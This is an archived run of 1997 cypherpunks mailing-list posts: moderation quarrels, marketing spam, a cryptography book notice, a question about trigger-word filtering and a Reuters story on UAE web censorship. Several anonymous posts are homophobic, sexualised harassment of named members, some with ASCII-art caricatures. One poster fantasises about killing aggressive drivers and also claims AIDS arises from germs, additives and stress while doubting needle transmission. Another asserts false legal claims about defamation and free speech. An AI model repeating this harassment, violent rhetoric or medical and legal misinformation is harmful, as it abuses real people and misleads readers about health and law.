democracy and the constitional state.

Stating that the normative strategy at large is obsolete, the author
proposes new solotions: "When the democratic constitutional state can
no longer reliably protect its citizens in the new social space of the
networks, in compensation it must enable them to protect themselves."
Information and communications technology offers various means of
protection:

* encryption and steganography
* digital signatures
* untraceable pseudonyms
* certified electronic mail
* ecash
* software agents
* connectivity management programs [whatever that is...]
* cellular phones without location data
* PICS
* secure portable user-controlled devices that support these measures

"Some of these measures - for example the encryption program PGP - can
be used without any advance concession.  The state only has to abstain
from impeding regulations.  Others - such as digital signatures -
depend on an infrastructure that allows the individual to use these
protective measures.  The citizen of information society still depends
on infrastructural prerequsites.  But there is a fundamental
difference in whether the individual can decide about using
self-controlled protective measures himself, or the state or an other
large organization offers protection that he cannot influence."

"In order to protect and preserve the /old/ goals of freedom and
self-determination in the /new/ social space of the networks, law
must permit and support /new/ technologies."

The article ends with the author's vision of a 'civil information
society' as a free democratic society where basic rights are
guaranteed by technology. "In this information society, the state has
a limited, but fundamental role. [...] it creates a framework for the
citizens to protect themselves. Thus they are enabled to freely inform
themselves, solve conflicts in free self-organization, and negotiate
and practice mutual security without depending on a big brother."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 23:51:19 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Moderated list is missing headers
In-Reply-To: <199701280528.AAA03139@para.mne.net>
Message-ID: <32EDCC24.1F51@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


SpyKing wrote:
> I mean no disrespect by this but this list is funny.

  The CypherPunks list is, and always has been, a 'hoot'. I have
followed
it since its inception, in various guises. It is the only list I still
keep tabs on when I'm hiding under a rock to escape persecution, 
prosecution, and/or prostitution.
  I once read over a year's worth of postings in one stetch, after
having
surfaced following an unfortunate incident behind the Iron Curtain. That 
was when I fully realized that the course of the universe could be
reliably
predicted by following the CypherPunks list. (Picking the winner in the
Kentucky Derby being one notable exception.)

> I've never seen so much
> bickering about moderation. I know you were a subscriber to the surveillance
> list that's why I mention this. When I moderate I ONLY cut out the spam...
> we haven't even had one flame yet... 

  You have one of the best moderated lists that I have seen. Some of the
posts
are a definite 'stretch' as far as being on-topic is concerned, but we
live
in a world where people make different kinds of connections inside their
brains, and I have always believed that keeping too tight a rein on the
human animal will lead to crushing the spirit within.
  Several years ago, when the CypherPunks were on the cover of 'Wired',
I inserted a short post suggesting that their philosophies regarding
anarchism, privacy and free speech would be put to the test when 
recognition, money and power entered the cypher-picture.
  I only became active on the list, under my present persona, about a 
month before 'moderation/censorship', as a result of receiving word
that changes were in the wind that would make my prediction prophetic.
  It has been said that one can reliably predict the future course of
civilization by following the progress of men of genius and the insane.
To this, I would add the CypherPunks list, which seems to fully 
encompass both arenas.

> I suppose if we had someone like the
> guy who flames Tim May all the time it would be necessary...

  The Tim May flames were a simple matter of office politics. He could 
not be counted on to 'go quietly into the night' in regard for the
plans for the New List Order.
  Anyone who chooses to spend the least amount of time analyzing the
UCE/Spam content of the CypherPunks list can easily ascertain that
there was a concerted blitzkrieg of postings aimed at creating an 
atmosphere wherein the BrownShirts could move in to address the 
'problems' being created for the list.
  It was a classic 'takeover' of the list by those involved. It used 
the "Tim May" and "Make $$Money$$ Fast" UCE/Spams to implement a
moderation/censorship system which could be used to bring the jackboot
down on those whose postings do not fit in with the future
socio/politico
directions envisioned by those directing the takeover of the list.

  The forced unsubscribing of Dr. Dimitri was merely an opening salvo,
to test the waters. He was the Saddam Hussein of Cypher Storm.
  Tim May presented a different problem. As a veteran, respected member
of the CypherPunks list (respected, for the most part, even by those
who violently disagreed with him), he needed to be eliminated through
a combination of public humiliation and withdrawal of support by the
elitist members of the list.

  The current moderation/censorship, and the process by which it was
instituted, is a disgrace to the memory of a list which was, at one 
time a bastion of free speech.
  The CypherPunks list of the past is now dead. It has already been
decided that, in the future, it will be controlled and directed, 
through censorship, to further its prostitution to the new financial
frontiers of cryptology.

> P.S. Those Tim May flames are hilarious although I probably wouldn't think
> so if I were him...

  Hang on to them, they are now 'collectors items', probably worth a lot
of
money. If Tim May had a better sense of humor, he might have parlayed
the
posts into a guest spot on 'Letterman'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jlkmiec@concentric.net
Date: Tue, 28 Jan 1997 04:09:07 -0800 (PST)
To: homebiz@aol.com
Subject: (((( Cool new marketing technique discovered, cheap & very effec
Message-ID: <199701280958.EAA27503@newman.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain


  The following should be of interest to you, if not please disregard 
you are NOT on a list and will not receive future mailings.  


          AMAZING DIRECT MARKETING TECHNIQUE DISCOVERED
 
     We have after spending years researching developed a way for a 
 company to sell ANY product more effectively.  It is not bulk E-mail, 
 it is much more effective.  It is ideal for anyone in MLM who needs 
 to contact only interested MLM partys or any other company for that 
 matter.  All you need to do is say how many people you want us to 
 contact and we will give you a rate and implement the system.  You 
 get qualified leads that are easy to close.
    You can sample this for as little as $20 which will put your 
 product directly in touch with 5000 people.  All you need to do is 
 E-mail us a little about your target audience and we will take care 
 of the rest.  From the information we relay to you, you should have a 
 list of very qualified cantidates for your product.
 
                               Special 50,000 contacts only $100!!!!!!
 
 Copyright 1997 Innovative Concepts




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Mon, 27 Jan 1997 17:05:02 -0800 (PST)
To: "Mullen, Patrick" <coderpunks@toad.com>
Subject: Re: Handbook of Applied Cryptography
Message-ID: <1.5.4.16.19970128010431.25a74260@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


Can anybody inform me where to get this book in Europa or can anybody
buy it in USA and send it to me. I wil post the money immediately plus shipping



At 17:10 1997-01-27 -0500, Mullen, Patrick wrote:
>(My apologies if someone else has posted this information and I missed
>it.)
>
>_Handbook_of_Applied_Cryptography_, Menezes, Oorschot, Vanstone, 
>	CRC Press, Boca Raton, 1997
>
>With a foreword by R.L. Rivest
>
>Contents in Brief:
>Table of Contents	v
>List of Tables		xv
>List of Figures		xix
>Foreword		xxi
>Preface			xxiii
>
>1 Overview of Cryptography	1
>2 Mathematical Background	49
>3 Number-Theoretic Reverence
>	Problems		87
>4 Pulic-Key Parameters		133
>5 Pseudorandom Bits and
>	Sequences		169
>6 Stream Ciphers		191
>7 Block Ciphers			223
>8 Public-Key Encryption		283
>9 Hash Functions and Data
>	Integrity			321
>10 Identification and Entity
>	Authentication		385
>11 Digital Signatures		425
>12 Key Establishment 
>	Protocols		489
>13 Key Management Techniques	543
>14 Efficient Implementation	591
>15 Patents and Standards	635
>A Bibliography of Papers from
>	Selected Cryptographic
>	Forums			663
>
>References			703
>Index				775
>
>>From the back cover:
>
><< BEGIN QUOTE >>
>Cryptography, in particular public-key cryptography, has emerged in the
>las 20 years as an important discipline that is not only the subject of
>an
>enormous amount of research, but provides the foundation for information
>security in many applications.  Standards are emerging to meet the
>demands
>for cryptographic protection in most areas of data communications.
>Public-
>key cryptographic techniques are now in widespread use in industry, 
>especially in the financial services industry, in the public sector, and
>by
>individuals for their personal privacy, such as in electronic mail.
>This 
>Handbook will serve as a valuable reference for the novice as well as
>for
>the expert who needs a wider scope of coverage within the aread of
>cryptography.  It is a necessary and timely guide for professionals who
>practice the art of cryptography.
>
>The _Handbook_of_Applied_Cryptography_ provides a treatment that 
>is multifunctional:
>
>* It serves as an introduction to the more practical aspects of
>  both conventional and public-key cryptography
>
>* It is a valuable source of the latest techniques and algorithms
>  for the serious practitioner
>
>* It provides an integrated treatment of the field, whil still
>  presenting each major topic as a self-contained unit
>
>* It provides a mathematical treatment to accompany 
>  practical discussions
>
>* It contains enough abstractoin to be a valuable reference for
>  theoreticians while containing enough detail to actually allow
>  implementation of the algorithms discussed
>
>This is the definitive cryptography reference that novice as well as
>experienced
>developers, designers, researchers, engineers, computer scientists, and
>mathematicials alike will find indispensable.
><< END QUOTE >>
>
>~~ Patrick
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jlkmiec@concentric.net
Date: Tue, 28 Jan 1997 04:11:28 -0800 (PST)
To: homebiz@aol.com
Subject: (( New marketing technique discovered, cheap & very effective)))
Message-ID: <199701281010.FAA29927@newman.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain


  The following should be of general interest to you.  If it is not 
please excuse the intrusion.  You are NOT on a list and will NOT be 
contacted again.     


       AMAZING DIRECT MARKETING TECHNIQUE DISCOVERED
 
     We have after spending years researching developed a way for a 
 company to sell ANY product more effectively.  It is not bulk E-mail, 
 it is much more effective.  It is ideal for anyone in MLM who needs 
 to contact only interested MLM partys or any other company for that 
 matter.  All you need to do is say how many people you want us to 
 contact and we will give you a rate and implement the system.  You 
 get qualified leads that are easy to close.
    You can sample this for as little as $20 which will put your 
 product directly in touch with 5000 people.  All you need to do is 
 E-mail us a little about your target audience and we will take care 
 of the rest.  From the information we relay to you, you should have a 
 list of very qualified cantidates for your product.
 
                  Special 50,000 contacts only $100 (Save $100)!! 
 
 Copyright 1997 Innovative Concepts




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 28 Jan 1997 00:08:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Trigger-Words...
Message-ID: <TCPSMTP.17.1.28.3.12.2.2780269260.1487984@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

does anybody know any contact points/Web pages, where I might get
some information on e-mail filtering via trigger-words? I am
interested in how this technology specifically works and a
collection of trigger-words would be nice too :)

Thanks in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMuhpbjltEBIEF0MBAQGiOwf+N61i3Vj1XjmhKLm+qispHDxsu4Wde8nb
BtMkVOAt9MGlihKftUAvp7l8aUcr5+D5jFh4/1VllO+QeZ4Yni9kM40xBLry1LYD
yiLqpeNMfz2Zf6XMqGaNc8lblx9qyNHyJBHf5p8OfJWN47LcIn8CYkhDSq6b3Sch
rHNBg8RjuCKQGD3XlCkwZLrYCUiCPFmSkKeuYpSaPkXgqgf7Zku68RrmqhRzbF1m
UneIgxMXqWFetIBHe8PIcQpLrN0X+lRMCnCFVY9x7Rsy4QJc3f8lZ7YKo2xDiGXb
Ly+wiA6sexlwwf+BdLDRu3fshI4eCpe7KbfWmzf3z0pdpvdRfUiJuw==
=KEb+
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Tue, 28 Jan 1997 00:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: uae_1.html
Message-ID: <199701280826.DAA00864@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
   Next Story: Intel to Europe: Get Online Or Fall Behind
     _________________________________________________________________
                                      
   Monday January 27 9:50 AM EST 
   
UAE Launches Service To Censor Internet

   DUBAI - The United Arab Emirates's monopoly Internet provider launched
   a service Saturday to censor sites in cyberspace that breached local
   moral values and traditions.
   
   Officials from state telecommunications company Etisalat said the new
   Proxy Service would be compulsory for the UAE's 9,669 subscribers, who
   will have to configure their web browsers that navigate the net by
   February 2.
   
   "The service was launched today as part of our efforts to improve the
   Internet service to our subscribers after lengthy study and research,"
   said one official at Etisalat.
   
   "We were working on it before some official statements were made on
   the need to control access to some sites on the service," he told
   Reuters.
   
   The move follows repeated calls to regulate access to the Internet in
   the conservative Gulf region, where most women are veiled, magazine
   pictures revealing cleavage or bare legs are blacked out and
   questioning the existence of god can be punishable by death.
   
   Some are worried about the spread of pornography as well as religious
   and political material through the worldwide network of interlinked
   computers.
   
   Last year, Dubai Police chief Major General Dhahi Khalfan Tamim
   created a rare public row in the UAE saying the information ministry
   and the police, rather that Etisalat, should be authorized to issue
   Internet licenses as it was their job to monitor data coming into the
   UAE and maintain security.
   
   Telecommunications experts say the Proxy Service will not be "fully
   water-tight," but would help block access to known and unwanted sites
   -- a list of which could be constantly updated.
   
   The proxy server will be pre-fed with Internet addresses where access
   is blocked off, industry sources said. But the server will be unable
   to block access if addresses of prohibited sites are changed, as
   frequently happens.
   
   Etisalat says it will disconnect any customer who abused its Internet
   services and violated "order and clear laws."
   
   "Singapore has succeeded to a great extent in its drive to control
   harm done by the Internet," said another Etisalat official. "Why
   cannot we?"
   
   Singapore government measures to regulate political and religious
   content on the Internet and keep it free of pornography became
   effective in July last year. They require all Internet service
   operators and local content providers to be registered with the
   Singapore Broadcasting Authority.
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
                                      
     _________________________________________________________________
                                      
   Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
   Next Story: Intel to Europe: Get Online Or Fall Behind
     _________________________________________________________________
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
                              Reuters Limited
                                      
   
   
    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 05:33:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A moment with Dale (Rejection policy, etc.)
Message-ID: <199701281333.FAA15951@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Tue, 28 Jan 1997
From: Dale Thorn <dthorn@gte.net>
CC: cypherpunks@toad.com
Subject: Re: Rejection policy, etc.

Dale Thorn obviously wrote:

>I have a great deal of respect for power.  When I was 6, I unwound a
>coat hanger and put both ends into an electrical outlet.  All I
>remember from that is something like a sledgehammer hitting me, and
>I went backwards rather quickly.  And I never did it again.

Why do I do this?

Typical Dale. A moment with Dale. Stories from the past.

However, there may be some grain of truth in this. Such socket poking might well explain Dale's (shall I say) specialness.

He went backwards quickly and has, relentlessly, never reversed direction. 

Too bad he didn't keep on doing it again and again.

Ho hum. More Dale.

XO




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 13:17:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Trolling with Dale (a bite)
Message-ID: <199701281448.GAA02231@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sat, 25 Jan 1997
From: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)

Dale Thorn hopelessly wrote:

>Let's be realistic about how AIDS is acquired.

Yes, Dale, let's 

>AIDS, OTOH, is likely to be a development from years of  1) Contact >with germs, chemicals, food additives, antibiotics other medical >treatments, sexual contact, etc. and 2) Immune-suppressing activities >such as lack of sleep and exercise, anxiety and stress, and so on.

Sounds reasonable to me, especially contact with germs (Who says "germs?"), and sexual contact. Take it on the road, Dale. 

>It seems to me that "proof" of someone acquiring AIDS from one stab
>with a contaminated needle is a very nebulous thing. As far as nurses
>go, the contact I've had with many of them tells me they are also
>(on average) drug users extraordinaire.

Yes, nebulous! Extraordinaire (on average), certainly.

At the risk of being offed by the moderator, I do believe that Dale is masturbating when he writes nonsense such as this. Perhaps "masterbating" as opposed to j.o. will pass muster.

Dale makes an excellent case for having a moderated list right here. What do his nutball beyond-the-fringe remarks have to do with crypto, privacy, security? Cripes, in the old days even an _accurate_ off-list remark would open a blast furnace of condemnation, a la Jim B.

If the list won't moderate itself to "guide" the Dale's, it DESERVES to be moderated. 

He's gotta be trolling to keep it hard. (Dangerous ground here!) Read "erect" for "keep it hard."

I suggest even (even!) "Dr.Dimitri Vulis KOTM" would disavow this pseudo-scientific nonsense regardless of his stated feelings toward homosexuals which I do not share but, nevertheless, believe may be aired.

Step up, Doc.

P.S. Does tripe such as Dale's latest make the mod list?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 13:13:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale on his podium
Message-ID: <199701281501.HAA05711@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 27 Jan 1997
From: Dale Thorn <dthorn@gte.net>
Reply-To: dthorn@gte.net
Subject: Re: overview.htm (fwd)

>Lived all over So. Cal. for 12 years, 4 years in SE Tenn., close to
>Atlanta.  Atlanta has some nice babes, warm weather.  I fell totally
>in love with a girl from Chattanooga, who was probably the best >college radio D.J. who ever lived.  Lived in Charleston for a short >while.
>
>Much smaller than Atlanta.  Very cozy.  Spent a lot of time in
>Cleveland, Pittsburgh, Detroit. The best babes there are usually the
>Chrissy Hynde (Akron) types.  Spent 2-1/2 years in Southern Germany.
>Very, very nice.  Loved Berchtesgaden (sp?).  Interestingly enough,
>I have a fondness for English girls.  Must be the ancestry thing.
>I'd really like to talk to some Welsh girls - my mum's grandparents
>came to the U.S. from there.  What about you?

Who gives a rat's ass, Dale? What a waste.

Babes? Types?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 13:13:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: [GAK] FBI at it again
Message-ID: <199701281508.HAA07654@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri L"iposuction" Vegetable had his foreskin ripped off
last night by a vacuum cleaner.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dr.Dimitri L"iposuction" Vegetable
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 05:14:04 -0800 (PST)
To: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Subject: Re: How to subscribe
In-Reply-To: <WIN2359-970128123549-7163*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
Message-ID: <32EE1818.2CB5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Theodor.SCHLICKMANN@BXL.DG13.cec.be wrote:
> 
> I have learned from the discussions in this list that there are other lists related to > this one. Can anybody send me information on what is available and when this confusion > created by having different lists will stop.
 
> cypherpunks : unmoderated and uncensored
 - This is a list for handsome, witty, intelligent people who believe 
in the actual practice of free speech in regard to cryptography and 
its socio/politico implications.

> cypherpunks : unmoderated and censored
 - This list is the same as the one above, only it includes the postings
'accidently' routed to /dev/null. (You need a /dev/null 'reader' to
access it. I recommend one from the makers of the Infinite Hard Drive)

> cypherpunks : moderated   and uncensored
 - This list consists of only Sandy's postings.

> cypherpunks : moderated   and censored
 - This list consists of formerly free CypherPunks who were forcibly
relocated into its confines.
   The members of this list are grotesquely deformed, slow-witted 
creatures, although some appear to be idiot savants and are able to
work very well with numbers. Nonetheless, they have little chance of
escaping the Dark Storm which is descending upon them.
  Legend has it that its server was once a handsome princebot who kissed
the wrong ass, and turned into a toad.com.

> cypherpunks : US eyes only -- export restrictions
 - This is a list composed entirely of foreign spies.

> cypherpunks : Europe
 - This is a list that will soon be beseiged by Attila T. Hun.

> cypherpunks : private mail
 - This is a list accessible only to the two people exchanging 
the private mail and the DOD (barring use of PGP). 

  The confusion created by having different lists will stop when
the 'other boot' drops.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 13:15:54 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.LNX.3.95.970128081349.24239D-100000@dhp.com>
Message-ID: <32EE18D5.62DA@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > Dale Thorn wrote:

> > But seriously, I was just telling the folks over the weekend, if I
> > had my hand on the button, a lot of people would die very quickly.
> > As in The Day The Earth Stood Still, a single act of aggression would
> > suffice to be immediately terminated.  The best place to begin, in
> > the USA at least, would be the public freeways.  There you have the
> > most acts of aggression in a short space, and the best pickings for
> > liquidation.  Give me the power, and I'll show you all those nifty
> > techno-ways of eliminating people that have been kept from the public
> > by our benevolent government ("sources and methods").
> >
> > BTW, I don't give a damn about someone "cutting me off", since I'm
> > not aggressive enough (outside of my liquidation duties) to be bothered
> > by that in most cases.  I'm primarily concerned with vehicles who get
> > too close behind, who pass with no safety margin, etc.  I call these
> > people anal-compulsive (as opposed to anal-retentive).  You've seen
> > the videos on PBS, the various animal species whose male members
> > perform occasional "mounting" of others to intimidate.  There are a
> > large percentage of humans who try to do the same thing, demonstrating
> > that they (IMO) have no further need of their lives.

> Boy, it is a fucking Bitch living in that L.A. traffic, huh?

I heard years ago that approximately 10% of the people on the street
are certifiably mentally unstable.  Multiply that by two at least for
Los Angeles (suburban L.A., actually, Hollywood for example is much
safer than Altadena or Westlake Village).

Quincy M.D. (the old TV show) did an excellent piece once on how a
person can more-or-less legally commit murder with a car, by passing
a deliberate act off as an "accident".  It's one area of our law
enforcement where the law (or rules) as stated by the state and as
enforced by the state cops don't even agree.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 04:34:44 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
In-Reply-To: <199701272217.OAA08800@mail.pacifier.com>
Message-ID: <Pine.LNX.3.95.970128072609.20502B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 27 Jan 1997, jim bell wrote:

> At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:
> 
> >I am not sure if you posted this information in response to my request
> >to cite a statute that would prove that libel is a crime.
> >
> >Me> Jim Choate wrote:
> >Me> > 
> >Me> > 
> >Me> > 
> >Me> > Are you aware that attributing statements in print to a party when that
> >Me> > party did not write them is a crime?
> >Me> 
> >Me> cite the statute
> >
> >
> >These postings do not prove that libel is a crime. It is because libel
> >is not a crime. Libel is a tort, and unlike with crime, the government
> >cannot initiate a legal action against someone for libel. Only injured
> >(libeled) individuals and not the government can sue in a libel case.
> 
> On the contrary, in some jurisdictions libel is indeed a crime. However, 
> that doesn't mean that prosecutions happen anymore, but the laws are (in 
> some places) still  on the books.
> 
> 
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 

Jim, either you are full of shit or that Law is VERY
unconstitutional.  The first amendment prohibits any Criminal Laws
from being made against libel.

Being able to defame somebody is clearly within Freedom of speech.
The only thing that is illegal in this Country is any speech proposing
the killing of any President, and we can live with that.  Nothing else
is ever prohibited by the Criminal Law.

Your only remedy for defamation of any kind is a civil Lawsuit.

-DrG,Esq.
esq@pgh.org
by/aga.bot/telnet





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 05:18:45 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701280717.BAA16135@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970128081135.24239C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Igor Chudov @ home wrote:

> Dale Thorn wrote:
> > 
> > Kevin L Prigge wrote:
> > > paul@fatmans.demon.co.uk said:
> > 
> > > > "cypherpunks will make the networks safe for censorship"
> > 
> > > "Idiots will make the networks require censorship"
> > 
> > The line above this one says it all, doesn't it?  If I judge you to
> > be "an idiot", then, if I also have the power to shut you up, I can
> > not only shut off your "noise" from me, but also prevent anyone else
> > from hearing you as well.  That's the real beauty of censorship -
> > if I have the power, I can make you a non-person by preventing most
> > people from hearing you at all.  Oh, lovely, isn't it?
> > 
> 
> Don't you like power, Dale?
> 
> 	- Igor.
> 

Power corrupts, in some instances.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 05:21:05 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EDB51D.31DF@gte.net>
Message-ID: <Pine.LNX.3.95.970128081349.24239D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Dale Thorn wrote:

> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Kevin L Prigge wrote:
> > > > paul@fatmans.demon.co.uk said:
> 
> > > > > "cypherpunks will make the networks safe for censorship"
> 
> > > > "Idiots will make the networks require censorship"
> 
> > > The line above this one says it all, doesn't it?  If I judge you to
> > > be "an idiot", then, if I also have the power to shut you up, I can
> > > not only shut off your "noise" from me, but also prevent anyone else
> > > from hearing you as well.  That's the real beauty of censorship -
> > > if I have the power, I can make you a non-person by preventing most
> > > people from hearing you at all.  Oh, lovely, isn't it?
> 
> > Don't you like power, Dale?
> 
> I have a great deal of respect for power.  When I was 6, I unwound a
> coat hanger and put both ends into an electrical outlet.  All I
> remember from that is something like a sledgehammer hitting me, and
> I went backwards rather quickly.  And I never did it again.
> 
> But seriously, I was just telling the folks over the weekend, if I
> had my hand on the button, a lot of people would die very quickly.
> As in The Day The Earth Stood Still, a single act of aggression would
> suffice to be immediately terminated.  The best place to begin, in
> the USA at least, would be the public freeways.  There you have the
> most acts of aggression in a short space, and the best pickings for
> liquidation.  Give me the power, and I'll show you all those nifty
> techno-ways of eliminating people that have been kept from the public
> by our benevolent government ("sources and methods").
> 
> BTW, I don't give a damn about someone "cutting me off", since I'm
> not aggressive enough (outside of my liquidation duties) to be bothered
> by that in most cases.  I'm primarily concerned with vehicles who get
> too close behind, who pass with no safety margin, etc.  I call these
> people anal-compulsive (as opposed to anal-retentive).  You've seen
> the videos on PBS, the various animal species whose male members
> perform occasional "mounting" of others to intimidate.  There are a
> large percentage of humans who try to do the same thing, demonstrating
> that they (IMO) have no further need of their lives.
> 

Boy, it is a fucking Bitch living in that L.A. traffic, huh?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Tue, 28 Jan 1997 13:10:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [URGENT] Meet-in-the-middle attack
Message-ID: <199701281549.IAA00745@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[retin] Maya grew a beard to look like his mother.

           \|||/
           (o o)
       -ooO-(_)-Ooo- Timmy C[retin] Maya





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Tue, 28 Jan 1997 06:07:30 -0800 (PST)
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: [noise] RE: Shave the Whales
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970128140810Z-80293@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


Is there a way we can keep the caricatures w/out getting the rest of the
message
w/ these postings?  I like the ASCII art, but...

BTW, I don't know if the joke was in the original posting (I notice the
RE: header),
but --

Mammals have hair.
Whales are mammals.
Shave the whales!

~ Patrick


>----------
>From: 	Huge Cajones Remailer[SMTP:nobody@huge.cajones.com]
>Sent: 	Monday, January 27, 1997 4:30 PM
>To: 	cypherpunks@toad.com
>Subject: 	Re: Shave the Whales
>
>Dr.Disruptive Vasectomy died of AIDS last night with his
>homosexual lover.
>
>             \|/
>             @ @
>        -oOO-(_)-OOo- Dr.Disruptive Vasectomy
>
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 13:14:02 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.LNX.3.95.970128081135.24239C-100000@dhp.com>
Message-ID: <Pine.SOL.3.93.970128095150.28014A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 28 Jan 1997, aga wrote:

> On Tue, 28 Jan 1997, Igor Chudov @ home wrote:
> 
> > Dale Thorn wrote:
> > > 
> > > Kevin L Prigge wrote:
> > > > paul@fatmans.demon.co.uk said:
> > > 
> > > > > "cypherpunks will make the networks safe for censorship"
> > > 
> > > > "Idiots will make the networks require censorship"
> > > 
> > > The line above this one says it all, doesn't it?  If I judge you to
> > > be "an idiot", then, if I also have the power to shut you up, I can
> > > not only shut off your "noise" from me, but also prevent anyone else
> > > from hearing you as well.  That's the real beauty of censorship -
> > > if I have the power, I can make you a non-person by preventing most
